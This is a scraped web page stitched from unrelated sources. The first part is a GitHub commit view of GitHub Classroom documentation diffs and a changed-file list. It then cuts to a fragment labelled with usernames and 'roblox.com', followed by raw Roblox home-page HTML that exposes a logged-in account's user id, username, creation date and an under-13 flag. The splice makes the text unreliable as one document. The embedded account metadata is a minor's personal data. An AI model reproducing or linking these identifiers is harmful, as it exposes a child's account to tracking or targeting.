for an assignment when you create an assignment. To learn how to create a new assignment that uses an online IDE, see "[Create an individual assignment](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)" or "[Create a group assignment](/education/manage-coursework-with-github-classroom/create-a-group-assignment)." ### Authorizing the OAuth app for an online IDE The first time you configure an assignment with an online IDE, you must authorize the OAuth app for the online IDE for your organization. !["Go grant access" button in popover for authorizing OAuth app for online IDE](/assets/images/help/classroom/assignment-ide-go-grant-access-button.png) For all repositories, grant the app **read** access to metadata, administration, and code, and **write** access to administration and code. For more information, see "[Authorizing OAuth Apps](/github/authenticating-to-github/authorizing-oauth-apps)." ### Further reading - "[About READMEs](/github/creating-cloning-and-archiving-repositories/about-readmes)" 7 ...ducation/manage-coursework-with-github-classroom/learn-with-github-classroom.md @@ -0,0 +1,7 @@ --- title: Learn with GitHub Classroom intro: You can participate in coursework in {% data variables.product.prodname_classroom %} and see results from your teacher. mapTopic: true versions: free-pro-team: '*' --- 33 ...on/manage-coursework-with-github-classroom/leave-feedback-with-pull-requests.md @@ -0,0 +1,33 @@ --- title: Leave feedback with pull requests intro: You can leave feedback for your students in a special pull request within the repository for each assignment. permissions: People with read permissions to a repository can leave feedback in a pull request for the repository. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/leaving-feedback-in-github --- ### About feedback pull requests for assignments {% data reusables.classroom.you-can-create-a-pull-request-for-feedback %} When you enable the pull request for feedback for an assignment, {% data variables.product.prodname_classroom %} will create a special pull request titled **Feedback** in the assignment repository for each student or team. The pull request automatically shows every commit that a student pushed to the assignment repository's default branch. ### Prerequisites To create and access the feedback pull request, you must enable the feedback pull request when you create the assignment. {% data reusables.classroom.for-more-information-about-assignment-creation %} ### Leaving feedback in a pull request for an assignment {% data reusables.classroom.sign-into-github-classroom %} 1. In the list of classrooms, click the classroom with the assignment you want to review. ![Classroom in list of classrooms for an organization](/assets/images/help/classroom/click-classroom-in-list.png) {% data reusables.classroom.click-assignment-in-list %} 1. To the right of the submission, click **Review**. ![Review button for assignment in list of submissions for an assignment](/assets/images/help/classroom/assignments-click-review-button.png) 1. Review the pull request. For more information, see "[Commenting on a pull request](/github/collaborating-with-issues-and-pull-requests/commenting-on-a-pull-request)." ### Further reading - "[Integrate {% data variables.product.prodname_classroom %} with an IDE](http://localhost:4000/en/free-pro-team@latest/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide)" 121 content/education/manage-coursework-with-github-classroom/manage-classrooms.md @@ -0,0 +1,121 @@ --- title: Manage classrooms intro: You can create and manage a classroom for each course that you teach using {% data variables.product.prodname_classroom %}. permissions: Organization owners can manage a classroom for an organization. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/archive-a-classroom --- ### About classrooms {% data reusables.classroom.about-classrooms %} ![Classroom](/assets/images/help/classroom/classroom-hero.png) ### About management of classrooms {% data variables.product.prodname_classroom %} uses organization accounts on {% data variables.product.product_name %} to manage permissions, administration, and security for each classroom that you create. Each organization can have multiple classrooms. After you create a classroom, {% data variables.product.prodname_classroom %} will prompt you to invite teaching assistants (TAs) and admins to the classroom. Each classroom can have one or more admins. Admins can be teachers, TAs, or any other course administrator who you'd like to have control over your classrooms on {% data variables.product.prodname_classroom %}. Invite TAs and admins to your classroom by inviting the user accounts on {% data variables.product.product_name %} to your organization as organization owners and sharing the URL for your classrom. Organization owners can administer any classroom for the organization. For more information, see "[Permission levels for an organization](/github/setting-up-and-managing-organizations-and-teams/permission-levels-for-an-organization)" and "[Inviting users to join your organization](/github/setting-up-and-managing-organizations-and-teams/inviting-users-to-join-your-organization)." When you're done using a classroom, you can archive the classroom and refer to the classroom, roster, and assignments later, or you can delete the classroom if you no longer need the classroom. ### About classroom rosters Each classroom has a roster. A roster is a list of identifiers for the students who participate in your course. When you first share the URL for an assignment with a student, the student must sign into {% data variables.product.product_name %} with a user account to link the user account to an identifier for the classroom. After the student links a user account, you can see the associated user account in the roster. You can also see when the student accepts or submits an assignment. ![Classroom roster](/assets/images/help/classroom/roster-hero.png) ### Prerequisites You must have an organization account on {% data variables.product.product_name %} to manage classrooms on {% data variables.product.prodname_classroom %}. For more information, see "[Types of {% data variables.product.company_short %} accounts](/github/getting-started-with-github/types-of-github-accounts#organization-accounts)" and "[Creating a new organization from scratch](/github/setting-up-and-managing-organizations-and-teams/creating-a-new-organization-from-scratch)." You must authorize the OAuth app for {% data variables.product.prodname_classroom %} for your organization to manage classrooms for your organization account. For more information, see "[Authorizing OAuth Apps](/github/authenticating-to-github/authorizing-oauth-apps)." ### Creating a classroom {% data reusables.classroom.sign-into-github-classroom %} 1. Click **New classroom**. !["New classroom" button](/assets/images/help/classroom/click-new-classroom-button.png) {% data reusables.classroom.guide-create-new-classroom %} After you create a classroom, you can begin creating assignments for students. For more information, see "[Create an individual assignment](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)" or "[Create a group assignment](/education/manage-coursework-with-github-classroom/create-a-group-assignment)." ### Creating a roster for your classroom You can create a roster of the students who participate in your course. If your course already has a roster, you can update the students on the roster or delete the roster. For more information, see "[Adding a student to the roster for your classroom](#adding-students-to-the-roster-for-your-classroom)" or "[Deleting a roster for a classroom](#deleting-a-roster-for-a-classroom)." {% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-students %} 1. To connect {% data variables.product.prodname_classroom %} to your LMS and import a roster, click {% octicon "mortar-board" aria-label="The mortar board icon" %} **Import from a learning management system** and follow the instructions. For more information, see "[Connect a learning management system to {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom)." !["Import from a learning management system" button](/assets/images/help/classroom/click-import-from-a-learning-management-system-button.png) 1. To create a roster manually, type your student identifiers. Optionally, click **Upload a CSV or text file** to upload a file containing the identifiers. ![Text field for typing student identifiers and "Upload a CSV or text file" button](/assets/images/help/classroom/type-or-upload-student-identifiers.png) 1. Click **Create roster**. !["Create roster" button](/assets/images/help/classroom/click-create-roster-button.png) ### Adding students to the roster for your classroom Your classroom must have an existing roster to add students to the roster. For more information about creating a roster, see "[Creating a roster for your classrom](#creating-a-roster-for-your-classroom)." {% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-students %} 1. To the right of "Classroom roster", click **Update students**. !["Update students" button to the right of "Classroom roster" heading above list of students](/assets/images/help/classroom/click-update-students-button.png) 1. Follow the instructions to add students to the roster. - To import students from an LMS, click **Sync from a learning management system**. For more information about importing a roster from an LMS, see "[Connect a learning management system to {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom)." - To manually add students, under "Manually add students", click **Upload a CSV or text file** or type the identifiers for the students, then click **Add roster entries**. ![Modal for choosing method of adding students to classroom](/assets/images/help/classroom/classroom-add-students-to-your-roster.png) ### Renaming a classroom {% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-settings %} 1. Under "Classroom name", type a new name for the classroom. ![Text field under "Classroom name" for typing classroom name](/assets/images/help/classroom/settings-type-classroom-name.png) 1. Click **Rename classroom**. !["Rename classroom" button](/assets/images/help/classroom/settings-click-rename-classroom-button.png) ### Archiving or unarchiving a classroom You can archive a classroom that you no longer use on {% data variables.product.prodname_classroom %}. When you archive a classroom, you can't create new assignments or edit existing assignments for the classroom. Students can't accept invitations to assignments in archived classrooms. {% data reusables.classroom.sign-into-github-classroom %} 1. To the right of a classroom's name, select the {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} drop-down menu, then click **Archive**. ![Drop-down menu from horizontal kebab icon and "Archive" menu item](/assets/images/help/classroom/use-drop-down-then-click-archive.png) 1. To unarchive a classroom, to the right of a classroom's name, select the {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} drop-down menu, then click **Unarchive**. ![Drop-down menu from horizontal kebab icon and "Unarchive" menu item](/assets/images/help/classroom/use-drop-down-then-click-unarchive.png) ### Deleting a roster for a classroom {% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-students %} 1. Under "Delete this roster", click **Delete roster**. !["Delete roster" button under "Delete this roster" in "Students" tab for a classroom](/assets/images/help/classroom/students-click-delete-roster-button.png) 1. Read the warnings, then click **Delete roster**. !["Delete roster" button under "Delete this roster" in "Students" tab for a classroom](/assets/images/help/classroom/students-click-delete-roster-button-in-modal.png) ### Deleting a classroom {% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-settings %} 1. To the right of "Delete this classroom", click **Delete classroom**. !["Delete repository" button](/assets/images/help/classroom/click-delete-classroom-button.png) 1. **Read the warnings**. 1. To verify that you're deleting the correct classroom, type the name of the classroom you want to delete. ![Modal for deleting a classrom with warnings and text field for classroom name](/assets/images/help/classroom/delete-classroom-modal-with-warning.png) 1. Click **Delete classroom**. !["Delete classroom" button](/assets/images/help/classroom/delete-classroom-click-delete-classroom-button.png) 22 ...on/manage-coursework-with-github-classroom/run-student-code-in-an-online-ide.md @@ -0,0 +1,22 @@ --- title: Run student code in an online IDE intro: You can run the code from a student assignment within the online integrated development environment (IDE) that you configured for the assignment. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/running-student-code --- ### About student code and online IDEs If you configure an online integrated development environment (IDE) for an assignment, you can run the code within the online IDE. You don't need to clone the assignment repository to your computer. For more information about online IDEs, see "[Integrate {% data variables.product.prodname_classroom %} with an online IDE](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-online-ide)." ### Running student code in the online IDE {% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-assignment-in-list %} 1. To the right of the submission, click **View IDE**. !["View IDE" button for submission using an online IDE](/assets/images/help/classroom/assignments-click-view-ide.png) 8 ...ducation/manage-coursework-with-github-classroom/teach-with-github-classroom.md @@ -0,0 +1,8 @@ --- title: Teach with GitHub Classroom intro: Learn how to set up your classroom and assignments. mapTopic: true versions: free-pro-team: '*' --- 93 content/education/manage-coursework-with-github-classroom/use-autograding.md 30 ...t/education/manage-coursework-with-github-classroom/view-autograding-results.md 90 content/education/quickstart.md 1 ...github-education/about-campus-advisors.md → ...github-education/about-campus-advisors.md 1 ...-github-education/about-campus-experts.md → ...-github-education/about-campus-experts.md 1 ...ducation-for-educators-and-researchers.md → ...ducation-for-educators-and-researchers.md 5 ...on/about-github-education-for-students.md → ...on/about-github-education-for-students.md 9 ...ithub-education/about-github-education.md → ...ithub-education/about-github-education.md 5 .../applying-for-a-student-developer-pack.md → ...ion/apply-for-a-student-developer-pack.md 14 ...for-an-educator-or-researcher-discount.md → ...for-an-educator-or-researcher-discount.md 26 content/education/teach-and-learn-with-github-education/index.md 3 ...github-at-your-educational-institution.md → ...github-at-your-educational-institution.md 3 ...ation/using-github-for-your-schoolwork.md → ...ucation/use-github-for-your-schoolwork.md 3 ...-github-in-your-classroom-and-research.md → ...-github-in-your-classroom-and-research.md 5 ...-for-a-student-developer-pack-approved.md → ...-for-a-student-developer-pack-approved.md 3 ...ucator-or-researcher-discount-approved.md → ...ucator-or-researcher-discount-approved.md 20 ...ering-a-repository/enabling-or-disabling-github-discussions-for-a-repository.md 5 content/github/administering-a-repository/index.md 2 content/github/authenticating-to-github/reviewing-your-security-log.md 1 content/github/collaborating-with-issues-and-pull-requests/index.md 74 ...with-issues-and-pull-requests/reviewing-dependency-changes-in-a-pull-request.md 19 ...g-with-issues-and-pull-requests/reviewing-proposed-changes-in-a-pull-request.md 10 content/github/creating-cloning-and-archiving-repositories/about-repositories.md 15 content/github/customizing-your-github-workflow/about-github-marketplace.md 2 content/github/getting-started-with-github/git-and-github-learning-resources.md 4 content/github/getting-started-with-github/github-glossary.md 6 content/github/getting-started-with-github/signing-up-for-a-new-github-account.md 1 content/github/index.md 2 ...b/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies.md 25 ...hub/managing-security-vulnerabilities/about-managing-vulnerable-dependencies.md 1 content/github/managing-security-vulnerabilities/index.md 4 ...nerabilities/viewing-and-updating-vulnerable-dependencies-in-your-repository.md 3 ...criptions-and-notifications-on-github/managing-notifications-from-your-inbox.md 6 content/github/managing-your-work-on-github/about-issues.md 3 content/github/searching-for-information-on-github/about-searching-on-github.md 5 content/github/searching-for-information-on-github/index.md 114 content/github/searching-for-information-on-github/searching-discussions.md 2 ...ithub/searching-for-information-on-github/searching-issues-and-pull-requests.md 2 ...nd-managing-billing-and-payments-on-github/about-billing-for-github-sponsors.md 4 ...-billing-and-payments-on-github/discounted-subscriptions-for-github-accounts.md 19 ...ing-up-and-managing-billing-and-payments-on-github/downgrading-a-sponsorship.md 16 ...tting-up-and-managing-billing-and-payments-on-github/upgrading-a-sponsorship.md 4 content/github/setting-up-and-managing-organizations-and-teams/index.md 27 ...and-teams/managing-discussion-creation-for-repositories-in-your-organization.md 25 ...izations-and-teams/managing-updates-from-accounts-your-organization-sponsors.md 3 ...p-and-managing-organizations-and-teams/permission-levels-for-an-organization.md 14 ...ing-organizations-and-teams/repository-permission-levels-for-an-organization.md 86 ...naging-organizations-and-teams/reviewing-the-audit-log-for-your-organization.md 1 content/github/setting-up-and-managing-your-github-user-account/index.md 24 ...etting-up-and-managing-your-github-user-account/managing-your-theme-settings.md 12 content/github/site-policy/github-additional-product-terms.md 8 ...porting-the-open-source-community-with-github-sponsors/about-github-sponsors.md 17 ...community-with-github-sponsors/attributing-sponsorships-to-your-organization.md 28 ...e-open-source-community-with-github-sponsors/changing-your-sponsorship-tiers.md 22 ...th-github-sponsors/configuring-webhooks-for-events-in-your-sponsored-account.md 17 ...ting-the-open-source-community-with-github-sponsors/contacting-your-sponsors.md 25 ...munity-with-github-sponsors/editing-your-profile-details-for-github-sponsors.md 1 content/github/supporting-the-open-source-community-with-github-sponsors/index.md 12 ...ce-community-with-github-sponsors/managing-your-payouts-from-github-sponsors.md 18 ...he-open-source-community-with-github-sponsors/managing-your-sponsorship-goal.md 39 ...ing-the-open-source-community-with-github-sponsors/managing-your-sponsorship.md 10 ...munity-with-github-sponsors/setting-up-github-sponsors-for-your-organization.md 10 ...munity-with-github-sponsors/setting-up-github-sponsors-for-your-user-account.md 62 ...-source-community-with-github-sponsors/sponsoring-an-open-source-contributor.md 27 ...source-community-with-github-sponsors/viewing-your-sponsors-and-sponsorships.md 23 content/github/teaching-and-learning-with-github-education/index.md This file was deleted. 7 ...nt/github/visualizing-repository-data-with-graphs/about-the-dependency-graph.md 1 content/github/working-with-github-support/index.md 10 content/graphql/README.md 58 ...tting-started-with-github-container-registry/about-github-container-registry.md This file was deleted. 15 content/packages/getting-started-with-github-container-registry/index.md This file was deleted. 95 content/packages/guides/about-github-container-registry.md 2 ...ol-and-visibility-for-container-images.md → ...ol-and-visibility-for-container-images.md 5 ...che-maven-for-use-with-github-packages.md → ...che-maven-for-use-with-github-packages.md 1 ...ng-docker-for-use-with-github-packages.md → ...ng-docker-for-use-with-github-packages.md 1 ...otnet-cli-for-use-with-github-packages.md → ...otnet-cli-for-use-with-github-packages.md 1 ...ng-gradle-for-use-with-github-packages.md → ...ng-gradle-for-use-with-github-packages.md 1 ...uring-npm-for-use-with-github-packages.md → ...uring-npm-for-use-with-github-packages.md 1 ...-rubygems-for-use-with-github-packages.md → ...-rubygems-for-use-with-github-packages.md 2 ...ting-a-repository-to-a-container-image.md → ...ting-a-repository-to-a-container-image.md 10 content/packages/guides/container-guides-for-github-packages.md 2 ...er-registry/deleting-a-container-image.md → ...ages/guides/deleting-a-container-image.md 2 ...ry/enabling-improved-container-support.md → ...es/enabling-improved-container-support.md 33 content/packages/guides/index.md 2 ...b-container-registry-for-docker-images.md → ...b-container-registry-for-docker-images.md 10 content/packages/guides/package-client-guides-for-github-packages.md 2 ...stry/pushing-and-pulling-docker-images.md → ...ides/pushing-and-pulling-docker-images.md 1 ...ng-github-packages-with-github-actions.md → ...ng-github-packages-with-github-actions.md 46 content/packages/index.md 60 ...anaging-packages/about-github-packages.md → ...-github-packages/about-github-packages.md 13 ...concepts-for-github-container-registry.md → ...ages/core-concepts-for-github-packages.md 16 content/packages/learn-github-packages/index.md 1 ...managing-packages/publishing-a-package.md → ...n-github-packages/publishing-a-package.md 3 ...d-managing-packages/deleting-a-package.md → ...ges/manage-packages/deleting-a-package.md 8 ...publishing-and-managing-packages/index.md → content/packages/manage-packages/index.md 1 ...managing-packages/installing-a-package.md → ...s/manage-packages/installing-a-package.md 1 ...and-managing-packages/viewing-packages.md → ...kages/manage-packages/viewing-packages.md 11 content/packages/managing-container-images-with-github-container-registry/index.md This file was deleted. 109 content/packages/quickstart.md 20 content/packages/using-github-packages-with-your-projects-ecosystem/index.md This file was deleted. 10 content/rest/README.md 18 content/rest/overview/resources-in-the-rest-api.md 2 content/rest/overview/troubleshooting.md 10 content/rest/reference/enterprise-admin.md 2 data/products.yml 2 data/reusables/accounts/create-account.md 2 data/reusables/actions/actions-not-verified.md 7 data/reusables/actions/visualization-beta.md 5 data/reusables/audit_log/audit-log-api-info.md 1 data/reusables/audit_log/audit-log-git-events-retention.md 1 data/reusables/classroom/about-assignments.md 1 data/reusables/classroom/about-autograding.md 1 data/reusables/classroom/about-classrooms.md 1 data/reusables/classroom/about-online-ides.md 1 data/reusables/classroom/assignments-classroom-prerequisite.md 2 data/reusables/classroom/assignments-click-pencil.md 1 data/reusables/classroom/assignments-group-definition.md 5 data/reusables/classroom/assignments-guide-assign-a-deadline.md 5 data/reusables/classroom/assignments-guide-choose-an-online-ide.md 5 data/reusables/classroom/assignments-guide-choose-template-repository.md 9 data/reusables/classroom/assignments-guide-choose-visibility.md 7 data/reusables/classroom/assignments-guide-click-continue-after-basics.md 7 ...s/classroom/assignments-guide-click-continue-after-starter-code-and-feedback.md 5 data/reusables/classroom/assignments-guide-click-create-assignment-button.md 5 data/reusables/classroom/assignments-guide-create-review-pull-request.md 5 data/reusables/classroom/assignments-guide-create-the-assignment.md 1 data/reusables/classroom/assignments-guide-intro-for-environment.md 3 data/reusables/classroom/assignments-guide-invite-students-to-assignment.md 7 data/reusables/classroom/assignments-guide-prevent-changes.md 23 data/reusables/classroom/assignments-guide-using-autograding.md 1 data/reusables/classroom/assignments-individual-definition.md 1 data/reusables/classroom/assignments-to-prevent-submission.md 5 data/reusables/classroom/assignments-type-a-title.md 1 data/reusables/classroom/classroom-creates-group-repositories.md 1 data/reusables/classroom/classroom-creates-individual-repositories.md 1 data/reusables/classroom/classroom-enables-invitation-urls.md 2 data/reusables/classroom/click-assignment-in-list.md 2 data/reusables/classroom/click-classroom-in-list.md 2 data/reusables/classroom/click-settings.md 2 data/reusables/classroom/click-students.md 1 data/reusables/classroom/for-more-information-about-assignment-creation.md 6 data/reusables/classroom/guide-create-new-classroom.md 5 data/reusables/classroom/invitation-url-warning.md 1 data/reusables/classroom/readme-contains-button-for-online-ide.md 1 data/reusables/classroom/sign-into-github-classroom.md 1 data/reusables/classroom/use-add-test-drop-down-to-click-grading-method.md 1 data/reusables/classroom/you-can-choose-a-template-repository.md 1 data/reusables/classroom/you-can-create-a-pull-request-for-feedback.md 1 data/reusables/classroom/you-may-want-to-predefine-repository-settings.md 1 data/reusables/discussions/about-categories-and-formats.md 1 data/reusables/discussions/about-discussions.md 5 data/reusables/discussions/beta.md 2 data/reusables/discussions/click-discussion-in-list.md 2 data/reusables/discussions/discussions-tab.md 2 data/reusables/discussions/edit-categories.md 1 data/reusables/discussions/edit-category-details.md 8 ...les/discussions/enabling-or-disabling-github-discussions-for-your-repository.md 1 data/reusables/discussions/github-recognizes-members.md 16 data/reusables/discussions/marking-a-comment-as-an-answer.md 1 data/reusables/discussions/repository-category-limit.md 10 data/reusables/discussions/starting-a-discussion.md 1 data/reusables/discussions/you-can-categorize-discussions.md 1 data/reusables/discussions/you-can-convert-an-issue.md 1 data/reusables/discussions/you-can-use-discussions.md 1 data/reusables/discussions/you-cannot-convert-a-discussion.md 2 data/reusables/education/about-github-education-link.md 2 data/reusables/education/apply-for-team.md 2 data/reusables/education/click-get-teacher-benefits.md 6 data/reusables/education/educator-requirements.md 1 data/reusables/gated-features/discussions.md 1 data/reusables/marketplace/app-transfer-to-org-for-verification.md 5 data/reusables/marketplace/free-plan-note.md 2 data/reusables/marketplace/launch-with-free.md 8 data/reusables/marketplace/marketplace-billing-ui-requirements.md 2 data/reusables/package_registry/billing-for-container-registry.md 2 data/reusables/package_registry/container-registry-beta-billing-note.md 2 data/reusables/package_registry/container-registry-beta.md 2 data/reusables/package_registry/docker_registry_deprecation_status.md 2 data/reusables/package_registry/feature-preview-for-container-registry.md 2 data/reusables/package_registry/required-scopes.md 2 data/reusables/package_registry/viewing-packages.md 3 data/reusables/repositories/dependency-review.md 7 data/reusables/repositories/navigate-to-job-superlinter.md 4 data/reusables/repositories/view-failed-job-results-superlinter.md 4 data/reusables/repositories/view-specific-line-superlinter.md 2 data/reusables/search/date_gt_lt.md 2 data/reusables/sponsors/billing-switcher.md 2 data/reusables/sponsors/change-tier.md 2 data/reusables/sponsors/choose-updates.md 2 data/reusables/sponsors/developer-sponsored-choose-updates.md This file was deleted. 4 data/reusables/sponsors/manage-developer-sponsorship.md This file was deleted. 4 data/reusables/sponsors/manage-org-sponsorship.md This file was deleted. 2 data/reusables/sponsors/manage-sponsorship.md 1 data/reusables/sponsors/manage-updates-for-orgs.md 2 data/reusables/sponsors/maximum-tier.md 4 data/reusables/sponsors/navigate-to-org-sponsors-dashboard.md This file was deleted. 2 ...onsors/navigate-to-sponsored-developer.md → ...sponsors/navigate-to-sponsored-account.md 1 data/reusables/sponsors/navigate-to-sponsored-org.md This file was deleted. 2 ...ors/navigate-to-dev-sponsors-dashboard.md → ...ponsors/navigate-to-sponsors-dashboard.md 2 data/reusables/sponsors/no-fees.md 5 data/reusables/sponsors/org-sponsors-release-phase.md 2 data/reusables/sponsors/pay-prorated-amount.md 2 data/reusables/sponsors/prorated-sponsorship.md 2 data/reusables/sponsors/sponsor-account.md 7 data/reusables/sponsors/sponsorship-dashboard.md 2 data/reusables/sponsors/sponsorship-details.md 1 data/reusables/webhooks/app_always_desc.md 3 data/ui.yml 7 data/variables/action_code_examples.yml 37 data/variables/discussions_community_examples.yml 6 data/variables/product.yml 21 includes/all-articles.html 4 includes/breadcrumbs.html 2 includes/code-example-card.html 14 includes/discussions-community-card.html 2 includes/header-notification.html 90 javascripts/filter-cards.js 92 javascripts/filter-code-examples.js This file was deleted. 4 javascripts/index.js 64 layouts/product-landing.html 68 lib/data-directory.js 28 lib/filename-to-key.js 7 lib/frontmatter.js 2 lib/liquid-tags/data.js 25 lib/page.js 54 lib/pages.js 21 lib/redirects/get-docs-path-from-developer-path.js 41 lib/redirects/precompile.js 231 lib/rest/static/decorated/api.github.com.json 495 lib/rest/static/dereferenced/api.github.com.deref.json 17 lib/rewrite-local-links.js 10 lib/site-data.js 24 lib/warm-server.js 5 middleware/breadcrumbs.js 38 middleware/categories-for-support-team.js 6 middleware/contextualizers/early-access-links.js 103 middleware/csp.js 69 middleware/early-access-breadcrumbs.js 1 middleware/index.js 45 package-lock.json 3 package.json 4 script/check-s3-images.js 4 script/early-access/clone-locally 41 script/early-access/create-branch 7 server.js 2 stylesheets/article.scss 4 tests/browser/browser.js 10 tests/content/category-pages.js 2 tests/content/crowdin-config.js 3 tests/content/featured-links.js 5 tests/content/glossary.js 42 tests/content/remove-liquid-statements.js 39 tests/content/site-data-references.js 4 tests/content/site-data.js 22 tests/fixtures/rest-redirects.json 10 tests/graphql/build-changelog-test.js 9 tests/helpers/conditional-runs.js 20 tests/meta/orphan-tests.js 23 tests/rendering/breadcrumbs.js 4 tests/rendering/rest.js 3 tests/rendering/server.js 47 tests/routing/developer-site-redirects.js 10 tests/routing/redirects.js 15 tests/unit/data-directory/filename-to-key.js 1 tests/unit/data-directory/fixtures/README.md 1 tests/unit/data-directory/fixtures/bar.yaml 1 tests/unit/data-directory/fixtures/foo.json 1 tests/unit/data-directory/fixtures/nested/baz.md 40 tests/unit/data-directory/index.js 19 tests/unit/early-access.js 4 tests/unit/find-page.js 57 tests/unit/liquid-helpers.js 140 tests/unit/page.js 2 tests/unit/pages.js 0 comments on commit 1a56ed1 Leave a comment You’re not receiving notifications from this thread. © 2021 GitHub, Inc. Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About

    From user sfedfcv

  • stoupid999 / roblox.com

    names.io, <!DOCTYPE html> <!--[if IE 8]><html class="ie8" ng-app="robloxApp"><![endif]--> <!--[if gt IE 8]><!--> <html> <!--<![endif]--> <head data-machine-id="WEB7441"> <!-- MachineID: WEB7441 --> <title>Home - Roblox</title> <meta http-equiv="X-UA-Compatible" content="IE=edge,requiresActiveX=true" /> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="author" content="Roblox Corporation" /> <meta name="description" content="Roblox is a global platform that brings people together through play." /> <meta name="keywords" content="free games, online games, building games, virtual worlds, free mmo, gaming cloud, physics engine" /> <meta name="apple-itunes-app" content="app-id=431946152" /> <script type="application/ld+json"> { "@context" : "http://schema.org", "@type" : "Organization", "name" : "Roblox", "url" : "https://www.roblox.com/", "logo": "https://images.rbxcdn.com/cece570e37aa8f95a450ab0484a18d91", "sameAs" : [ "https://www.facebook.com/roblox/", "https://twitter.com/roblox", "https://www.linkedin.com/company/147977", "https://www.instagram.com/roblox/", "https://www.youtube.com/user/roblox", "https://plus.google.com/+roblox", "https://www.twitch.tv/roblox" ] } </script> <meta name="user-data" data-userid="3133087433" data-name="stoupid919191" data-displayName="stoupid919191" data-isunder13="true" data-created="12/11/2021 11:33:52 PM" data-isPremiumUser="false"/> <meta name="locale-data" data-language-code="en_us" data-language-name="English" /><meta name="device-meta" data-device-type="computer" data-is-in-app="false" data-is-desktop="true" data-is-phone="false" data-is-tablet="false" data-is-console="false" data-is-android-app="false" data-is-ios-app="false" data-is-uwp-app="false" data-is-xbox-app="false" data-is-amazon-app="false" data-is-win32-app="false" data-is-studio="false" data-is-game-client-browser="false" data-is-ios-device="false" data-is-android-device="false" data-is-universal-app="false" data-app-type="unknown" /> <meta name="environment-meta" data-is-testing-site="false" /> <meta id="roblox-display-names" data-enabled="true"></meta><meta name="page-meta" data-internal-page-name="Home" /> <meta name="performance" data-ui-performance-relative-value="1" data-ui-performance-endpoint="https://metrics.roblox.com/v1/performance/send-measurement" data-ui-performance-metrics-batch-wait-time="00:00:30" data-ui-performance-metrics-batch-size="100"/> <script type="text/javascript"> var Roblox = Roblox || {}; Roblox.BundleVerifierConstants = { isMetricsApiEnabled: true, eventStreamUrl: "//ecsv2.roblox.com/pe?t=diagnostic", deviceType: "Computer", cdnLoggingEnabled: JSON.parse("true") }; </script> <script type="text/javascript"> var Roblox = Roblox || {}; Roblox.BundleDetector = (function () { var isMetricsApiEnabled = Roblox.BundleVerifierConstants && Roblox.BundleVerifierConstants.isMetricsApiEnabled; var loadStates = { loadSuccess: "loadSuccess", loadFailure: "loadFailure", executionFailure: "executionFailure" }; var bundleContentTypes = { javascript: "javascript", css: "css" }; var ephemeralCounterNames = { cdnPrefix: "CDNBundleError_", unknown: "CDNBundleError_unknown", cssError: "CssBundleError", jsError: "JavascriptBundleError", jsFileError: "JsFileExecutionError", resourceError: "ResourcePerformance_Error", resourceLoaded: "ResourcePerformance_Loaded" }; return { jsBundlesLoaded: {}, bundlesReported: {}, counterNames: ephemeralCounterNames, loadStates: loadStates, bundleContentTypes: bundleContentTypes, timing: undefined, setTiming: function (windowTiming) { this.timing = windowTiming; }, getLoadTime: function () { if (this.timing && this.timing.domComplete) { return this.getCurrentTime() - this.timing.domComplete; } }, getCurrentTime: function () { return new Date().getTime(); }, getCdnProviderName: function (bundleUrl, callBack) { if (Roblox.BundleVerifierConstants.cdnLoggingEnabled) { var xhr = new XMLHttpRequest(); xhr.open('GET', bundleUrl, true); xhr.onreadystatechange = function () { if (xhr.readyState === xhr.HEADERS_RECEIVED) { try { var headerValue = xhr.getResponseHeader("rbx-cdn-provider"); if (headerValue) { callBack(headerValue); } else { callBack(); } } catch (e) { callBack(); } } }; xhr.onerror = function () { callBack(); }; xhr.send(); } else { callBack(); } }, getCdnProviderAndReportMetrics: function (bundleUrl, bundleName, loadState, bundleContentType) { this.getCdnProviderName(bundleUrl, function (cdnProviderName) { Roblox.BundleDetector.reportMetrics(bundleUrl, bundleName, loadState, bundleContentType, cdnProviderName); }); }, reportMetrics: function (bundleUrl, bundleName, loadState, bundleContentType, cdnProviderName) { if (!isMetricsApiEnabled || !bundleUrl || !loadState || !loadStates.hasOwnProperty(loadState) || !bundleContentType || !bundleContentTypes.hasOwnProperty(bundleContentType)) { return; } var xhr = new XMLHttpRequest(); var metricsApiUrl = (Roblox.EnvironmentUrls && Roblox.EnvironmentUrls.metricsApi) || "https://metrics.roblox.com"; xhr.open("POST", metricsApiUrl + "/v1/bundle-metrics/report", true); xhr.setRequestHeader("Content-Type", "application/json"); xhr.withCredentials = true; xhr.send(JSON.stringify({ bundleUrl: bundleUrl, bundleName: bundleName || "", bundleContentType: bundleContentType, loadState: loadState, cdnProviderName: cdnProviderName, loadTimeInMilliseconds: this.getLoadTime() || 0 })); }, logToEphemeralStatistics: function (sequenceName, value) { var deviceType = Roblox.BundleVerifierConstants.deviceType; sequenceName += "_" + deviceType; var xhr = new XMLHttpRequest(); xhr.open('POST', '/game/report-stats?name=' + sequenceName + "&value=" + value, true); xhr.withCredentials = true; xhr.send(); }, logToEphemeralCounter: function (ephemeralCounterName) { var deviceType = Roblox.BundleVerifierConstants.deviceType; ephemeralCounterName += "_" + deviceType; //log to ephemeral counters 